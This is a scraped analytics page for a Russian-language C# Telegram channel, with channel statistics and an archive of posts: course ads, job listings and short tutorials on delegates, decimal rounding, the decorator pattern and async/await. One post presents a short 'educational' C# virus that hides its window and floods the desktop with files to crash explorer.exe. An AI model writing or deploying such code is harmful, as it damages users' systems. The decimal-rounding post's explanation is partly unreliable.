uk
Feedback
C# (C Sharp) programming

C# (C Sharp) programming

Відкрити в Telegram

По всем вопросам- @notxxx1 Реестр РКН: https://clck.ru/3Fk3kb #VRHSZ

Показати більше

📈 Аналітичний огляд Telegram-каналу C# (C Sharp) programming

Канал C# (C Sharp) programming (@csharp_ci) у мовному сегменті Російська є активним учасником. На даний момент спільнота об'єднує 18 307 підписників, посідаючи 7 339 місце в категорії Технології та додатки та 36 883 місце у регіоні Росія.

📊 Показники аудиторії та динаміка

З моменту свого створення невідомо, проект продемонстрував стрімке зростання, зібравши аудиторію у 18 307 підписників.

За останніми даними від 14 червня, 2026, канал демонструє стабільну активність. Хоча за останні 30 днів спостерігається зміна кількості учасників на -10, а за останні 24 години на -7, загальне охоплення залишається високим.

  • Статус верифікації: Не верифікований
  • Рівень залученості (ER): Середній показник залученості аудиторії становить 18.97%. Протягом перших 24 годин після публікації контент зазвичай збирає 7.27% реакцій від загальної кількості підписників.
  • Охоплення публікацій: В середньому кожен допис отримує 3 472 переглядів. Протягом першої доби публікація в середньому набирає 1 331 переглядів.
  • Реакції та взаємодія: Аудиторія активно підтримує контент: середня кількість реакцій на один пост – 0.
  • Тематичні інтереси: Контент зосереджений навколо ключових тем, таких як .net, api, логика, архитектура, string.

📝 Опис та контентна політика

Автор описує ресурс як майданчик для висловлення суб'єктивної думки:
По всем вопросам- @notxxx1 Реестр РКН: https://clck.ru/3Fk3kb #VRHSZ

Завдяки високій частоті оновлень (останні дані отримано 15 червня, 2026), канал підтримує актуальність та високий рівень охоплення публікацій. Аналітика показує, що аудиторія активно взаємодіє з контентом, що робить його важливою точкою впливу в категорії Технології та додатки.

18 307
Підписники
-724 години
-27 днів
-1030 день
Архів дописів
Добавьте в свое портфолио кейс по решению задачи с микросервисной архитектурой бесплатно и всего за пару часов На практическо
Добавьте в свое портфолио кейс по решению задачи с микросервисной архитектурой бесплатно и всего за пару часов На практическом уроке «Масштабируемая архитектура для систем обработки платежей». На вебинаре: - рассмотрим решение задачи по построению масштабируемой отказоустойчивой системы обработки платежей; - обсудим применения шардирования, паттерна Saga, двухфазного коммита и выбор уровня изоляции транзакций; - получим описание верхнеуровневой архитектуры. Занятие пройдёт 24 апреля в 20:00 мск в рамках курса «Microservice Architecture». Доступна рассрочка на обучение! 👉 Чтобы посетить открытый урок, зарегистрируйтесь: https://otus.pw/LG6se/?erid=LjN8KC4V4

🖥 Garnet — кэш от Microsoft, написан на C#, уделывает и Redis, и Dragonfly Как видно из бенчмарков, это сейчас вообще самый
🖥 Garnet — кэш от Microsoft, написан на C#, уделывает и Redis, и Dragonfly Как видно из бенчмарков, это сейчас вообще самый быстрый сервер структур данных на всём диком западе: Практически полностью совместим с Redis на уровне API, но при этом: ⏩Имеет либеральную MIT лицензию, как и все последние крупные проекты MS, и этим крайне выгодно отличается от Redis ⏩Написан на C#, и позволяет удобно расширять сервер ⏩Делает по производительности и Redis, написанный на C, и Dragonfly написанный на C++ 🖥 GitHub @csharp_ci

🖥 Делегаты C# Объект дня — делегаты Давайте вспомним и освежим основную инфу ⏩Делегат — это объект, который может ссылаться
🖥 Делегаты C# Объект дня — делегаты Давайте вспомним и освежим основную инфу ⏩Делегат — это объект, который может ссылаться на метод или несколько методов. Следовательно, когда создается делегат, то в итоге получается объект, содержащий ссылку на метод. Иными словами, делегат позволяет вызывать метод, на который он ссылается. ⏩По сути, делегат — это безопасный в отношении типов объект, указывающий на другой метод (или, возможно, список методов) приложения, который может быть вызван позднее. В частности, объект делегата поддерживает 3 важных фрагмента информации: — адрес метода, на котором он вызывается — аргументы (если есть) этого метода — возвращаемое значение (если есть) этого метода ⏩Пример использования делегата на изображении. Делегат — это по сути очередь в которую можно добавить сколько угодно методов. При выполнении train += Wagon2; мы добавляем 2й вагон в очередь. Причина, почему на экран вывелась цифра 3 после выполнения всех методов в том, что если функция имеет возвращаемое значение, то возвращается значение с последней добавленной "в очередь" функции. @csharp_ci

Что выведет на экран этот код?
Anonymous voting

#ПятничныйКвиз #карательныйсишарп
#ПятничныйКвиз #карательныйсишарп

ХОЧЕШЬ ПОВЫШЕНИЕ В 2024 ГОДУ? 😎🔥 Согласно опросу, проведенному компанией Solo.io в 2022 году, на текущий момент 85% организ
ХОЧЕШЬ ПОВЫШЕНИЕ В 2024 ГОДУ? 😎🔥 Согласно опросу, проведенному компанией Solo.io в 2022 году, на текущий момент 85% организаций переводят свои IT-системы на микросервисную архитектуру. Но специалистов, которые глубоко понимают все тонкости и нюансы микросервисной архитектуры не так-то много. Самое время разобраться в микросервисной архитектуре и стать более востребованным специалистом. 🚀 Стартуем 9 апреля. Курс ведет действующий архитектор Кирилл Ветчинкин. Он успешно реализовал проекты с применением микросервисов для Мегафона, Теле2, ВСS Brокer, СберМаркет. Постоянный спикер крупных IT-конференций. На курсе вы: 📌 Изучите и отработаете более 20 паттернов микросервисной архитектуры 📌 Познакомитесь c Domain Driven Design 📌 Научитесь декомпозировать систему на микросервисы с помощью Event Storming и DDD Полная программа ТУТ https://microarch.ru/?utm_source=posev&utm_medium=erid:2VtzqwKifY2&utm_campaign=4 А самое главное — будет поддержка от эксперта, чат с одногруппниками и интересное практическое задание. Сертификат об участии по итогам прохождения курса. Курс ориентирован на системных аналитиков и разработчиков, которые хотят больше погрузиться в архитектуру современных IT систем. Узнай больше о курсе 👉 https://microarch.ru/?utm_source=posev&utm_medium=erid:2VtzqwKifY2&utm_campaign=4 Реклама. ИП Ветчинкин К.Е. ИНН: 773376451099 Erid: 2VtzqwKifY2

🖥 Пишем невероятно простой вирус на C# Всё в этом посте описано исключительно в образовательных целях Любой программист долж
🖥 Пишем невероятно простой вирус на C# Всё в этом посте описано исключительно в образовательных целях Любой программист должен написать свой маленький вирус. В этом посте у нас простой вирус в 30 строк. Принцип роботы таков: он включается и начинает создавать пустые файлы на робочем столе, и когда файлов создается больше 500 explorer.exe (проводник, процесс который управляет рабочим столом и не только) начинает глючить и выключается. В конце концов он вообще перестает включатся даже после перезагрузки ПК. После этого система перестает работать или начинает страшно глючить (в зависимости от мощности компьютера). Единственный способ вылечить ПК — удалить все файлы из папки рабочего стола. Итак вот и код:
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
class Admin
{
 [DllImport("kernel32.dll")]
        static extern IntPtr GetConsoleWindow();
    [DllImport("user32.dll")]

// Настройка нужных переменных
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
        const int SW_HIDE = 0;
        const int SW_SHOW = 5;
 static void Main()
 {

// Скрываем программу 
         var handle = GetConsoleWindow();
            ShowWindow(handle, SW_HIDE);
          Process pr = new Process();
                pr.StartInfo.FileName = "prog.exe";
                pr.StartInfo.Arguments = "-r";
                pr.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
                pr.Start();
                pr.WaitForExit();
  int i=0;

// Сам вирус =)
  while(true){
   i=i+1;
  System.IO.StreamWriter sw = new System.IO.StreamWriter(@"C:\Users\"+Environment.UserName+ @"\Desktop\badfile"+i);
        } 
 }
}
📎 Подробнее @csharp_ci

В этом году ШАД Яндекса увеличивает набор студентов на треть Отвечая на растущий запрос рынка на сильных ML-специалистов, Шко
+6
В этом году ШАД Яндекса увеличивает набор студентов на треть Отвечая на растущий запрос рынка на сильных ML-специалистов, Школа анализа данных Яндекса, где бесплатно готовят профессионалов в ML и Data Science, примет более 400 студентов в новом учебном году. О том, что образование в сфере ИИ — всё более перспективный выбор, говорит и исследование ШАДа: каждый четвертый выпускник работает в научной сфере, а 77%  устраиваются в крупные технологические компании, в числе которых Яндекс, Авито, Тинькофф, VK, Сбер и другие. Те, кто хочет участвовать в конкурсном отборе в ШАД, найдут подробности поступления здесь. @csharp_ci

🖥 Округление при преобразовании double в decimal ⏩При достаточно больших значениях double (с заданной целой частью) при его
🖥 Округление при преобразовании double в decimal ⏩При достаточно больших значениях double (с заданной целой частью) при его преобразовании в decimal происходит округление. Однако преобразование в long дает правильный результат.
double d = 1725040000979649;
long l = (long)d;
decimal result1 = (decimal)d; // 1725040000979650
decimal result2 = (decimal)l; // 1725040000979649
Почему так происходит? Можно ли как то преобразовать без округления? ⏩Это особенность преобразования. 1725040000979649 очень близко к максимальному значению мантиссы для типа double 179769313486232, и, видимо, дело именно в этом. Если убрать любую цифру, то всё будет норм. 41-45 округляется к 40, 46-49 округляется к 50. Скорее всего, это сделано потому, что только диапазон 14-тиразрядных чисел может быть представлен точно полностью (до 99 999 999 999 999), поэтому 15-ый рязряд округляется. Преобразовать без округления можно только так:
decimal result2 = (long)d;
@csharp_ci

🖥 Декоратор — описание паттерна с примером на C# Декоратор — это структурный паттерн, который позволяет добавлять объектам н
+2
🖥 Декоратор — описание паттерна с примером на C# Декоратор — это структурный паттерн, который позволяет добавлять объектам новые поведения на лету, помещая их в объекты-обёртки. Паттерн можно часто встретить в C#-коде, особенно в коде, работающем с потоками данных. А вот некоторые мысли из статьи: ⏩Декоратор может решать, к примеру, такую проблему: пользователи хотят получать оповещения о критических проблемах через разные каналы ⏩То, что делает декоратор, в некоторых случаях можно получить через наследование Но появляются проблемы, такие как статичность и невозможность наследовать поведение нескольких классов одновременно ⏩Альтернатива наследованию - агрегация или композиция, которые позволяют одному объекту делегировать работу другому ⏩Декораторы имеют общий интерфейс, что позволяет клиенту работать с обёрнутыми объектами без изменения кода 📎 Статья 📎 Пример на C# @csharp_ci

🖥 Разбор разных практик тестирования в C# Держите полезное видео, где обсуждается процесс тестирования в C# с разных сторон
🖥 Разбор разных практик тестирования в C# Держите полезное видео, где обсуждается процесс тестирования в C# с разных сторон Что именно рассматривается в видео? ⏩Тестирование и качество связаны с исследованием и испытанием программного продукта. ⏩Автоматизация тестирования имеет преимущества, но может быть сложной в разработке и поддержке. ⏩Определение количества и процента охвата теста рекомендуется на уровне 80%. ⏩Графики тестирования и качество продукта обсуждаются, и автоматизированное тестирование может быть более эффективным в долгосрочной перспективе. 📎 Кликабельный план видео 📎 YouTube @csharp_ci

erid: LjN8JzPej Привет! Мы BAUM, российская IT-компания. Наша работа — создавать продвинутые системы хранения данных и разраб
erid: LjN8JzPej Привет! Мы BAUM, российская IT-компания. Наша работа — создавать продвинутые системы хранения данных и разрабатывать прикладной искусственный интеллект. Недавно мы завели аккаунт, где делимся своим опытом, даём советы для успешной карьеры, рассказываем об интересных событиях из нашей жизни и, конечно, публикуем вакансии. Обещаем, что будет очень полезно и совсем не душно — подписывайся!

Что выведет на экран это код
Anonymous voting

#ПятничныйКвиз
#ПятничныйКвиз

⚡️Компания Аванпост в поисках Разработчиков C# (Junior + / Middle) 🚀Какие задачи предстоит решать? - Интеграционная разработ
⚡️Компания Аванпост в поисках Разработчиков C# (Junior + / Middle) 🚀Какие задачи предстоит решать? - Интеграционная разработка - Разработка подключаемых модулей приложений (non-GUI) в соответствии с заданными интерфейсами, сервисов и приложений интеграционного слоя - По мере профессионального роста – расширение сферы деятельности 👨‍💻Какие требования к кандидатам? - Знание: С#, .Net Core - Понимание концепций ООП и базовых шаблонов проектирования - Понимание принципов работы реляционных СУБД - Опыт написания простых SQL-запросов и работы с БД - Технический английский, чтение документации и профессиональной литературы 🔥Что мы предлагаем: - Удаленный формат работы - Зарплата по результатам собеседования и определения навыков соискателя - Профессиональный рост - Оформление по ТК РФ Узнал себя?  Принимай участие в One Day Offer и становись частью крупной IT-компании! Подробности и регистрация: https://tglink.io/31f0428d1860

«А что там собственно нового в C# 12?» Интересное видео, в котором Евгений Федотов рассказывает о нововведениях в C# 12 О чём
+3
«А что там собственно нового в C# 12?» Интересное видео, в котором Евгений Федотов рассказывает о нововведениях в C# 12 О чём вообще речь? ⏩Упрощение определения типов, использование точки с запятой вместо фигурных скобок. ⏩Collection-оператор, объединение массивов в одну коллекцию. ⏩Атрибут эксперимента, для указания на экспериментальный код. ⏩Атрибут для перехвата методов. ⏩Использование перехватчиков для логирования и других целей. ⏩Возможность указывать функциональные значения для лямда-выражений. ⏩Возможность выдавать псевдоним любому типу или кортежу. ⏩и ещё освещается много всего, так что будет полезно 📎 Кликабельный план видео 📎 Видео @csharp_ci

🖥 Как на самом деле работает Async/Await в C# Держите полезную статью о том, как реализована асинхронность в C#. О чём стать
🖥 Как на самом деле работает Async/Await в C# Держите полезную статью о том, как реализована асинхронность в C#. О чём статья? ⏩Статья обсуждает различия в реализации асинхронных методов в .NET Framework и .NET Core. ⏩В .NET Framework выделяется много объектов, связанных с асинхронными вызовами, что приводит к большому объему памяти. ⏩В .NET Core реализация асинхронных методов значительно изменилась, что привело к уменьшению выделения памяти. ⏩ExecutionContext в .NET Core теперь является неизменяемым, что упрощает передачу контекста и делает его передачу более распространенной. ⏩Логический CallContext в .NET Core больше не существует, а его функции моделируются через AsyncLocal<T> ⏩В .NET Core глобальная очередь ThreadPool реализована как ConcurrentQueue<T>, что позволяет оптимизировать выделение памяти. ⏩Реализация метода AwaitUnsafeOnCompleted в .NET Core отличается от .NET Framework, что приводит к более эффективному использованию памяти. 📎 Статья 📎 На английском @csharp_ci

Устал писать тесты с кучей моков? Сложно поддерживать приложение, ведь бизнес логика перемешалась с инфраструктурой? 😰 Присо
Устал писать тесты с кучей моков? Сложно поддерживать приложение, ведь бизнес логика перемешалась с инфраструктурой? 😰 Присоединяйся к нашему практическому курсу по Domain Driven Design, где за 10 вебинаров мы разложим все по полочкам. 🚀Стартуем 1 апреля. Присоединяйся прямо сейчас https://microarch.ru/courses/hexagonal-architecture?utm_source=posev&utm_medium=erid:2VtzqwtV8Fo&utm_campaign=13 Наш курс по Domain-Driven Design позволит вам изучить основы и принципы этого подхода, а также освоить практические навыки, необходимые для успешного применения DDD в реальных проектах. Вы узнаете: ✅ Что такое Domain-Driven Design и почему он так важен для современных разработчиков. ✅ Основы проектирования доменов и формирование предметной области. ✅ Принципы и методы моделирования предметной области, включая разработку моделей предметной области и определение бизнес-правил. ✅ Создание эффективных и масштабируемых сервисов с использованием DDD. ✅ Применение шаблонов проектирования и принципов DDD для оптимизации кода и повышения производительности. Курс ведет действующий архитектор и разработчик Кирилл Ветчинкин. Он успешно реализовал проекты для Мегафона, Теле2, ВСS Brокer. Постоянный спикер крупных IT-конференций. Не упусти шанс стать экспертом! Присоединяйся к нашему курсу и раскрой свой потенциал в разработке успешных проектов уже сегодня https://microarch.ru/courses/hexagonal-architecture?utm_source=posev&utm_medium=erid:2VtzqwtV8Fo&utm_campaign=13 Реклама. ИП Ветчинкин К.Е. ИНН: 773376451099 Erid: 2VtzqwtV8Fo

🖥 Интерактивный учебник по C# Возможно, вы в курсе, что этот учебник существует. В любом случае, это отличный способ ознаком
+2
🖥 Интерактивный учебник по C# Возможно, вы в курсе, что этот учебник существует. В любом случае, это отличный способ ознакомиться с C# и .NET Пока что заданий в нём не много, а оглавление выглядит так: — Запуск первой программы C# — Объявление и использование переменных — Работа со строками — Другие действия со строками — Строки поиска — Выполнение задачи Учебник будет развиваться и пополняться новыми заданиями, что очень неплохо 📎 Учебник @csharp_ci

❓Как С#-разработчику вырасти до уровня Senior в 2024? Изучить .NET Framework, Scrum-методики и многое другое на онлайн-курсе
❓Как С#-разработчику вырасти до уровня Senior в 2024? Изучить .NET Framework, Scrum-методики и многое другое на онлайн-курсе «C# Developer. Professional» от OTUS. Программа идеально подходит для начинающих C#-разработчиков, которые хотят развиваться в серверной разработке, создании приложений и микросервисов. На курсе вас ждут: - живые вебинары с возможностью задать вопросы экспертам; - много практики и сильные проекты для портфолио; - поддержка профессионального комьюнити. 👉 Пройдите бесплатный тест прямо сейчас и узнайте, готовы ли вы сделать следующий шаг в карьере: https://otus.pw/Wszi7/?erid=LjN8K2gXC Реклама. ООО "ОТУС ОНЛАЙН-ОБРАЗОВАНИЕ". ИНН 9705100963.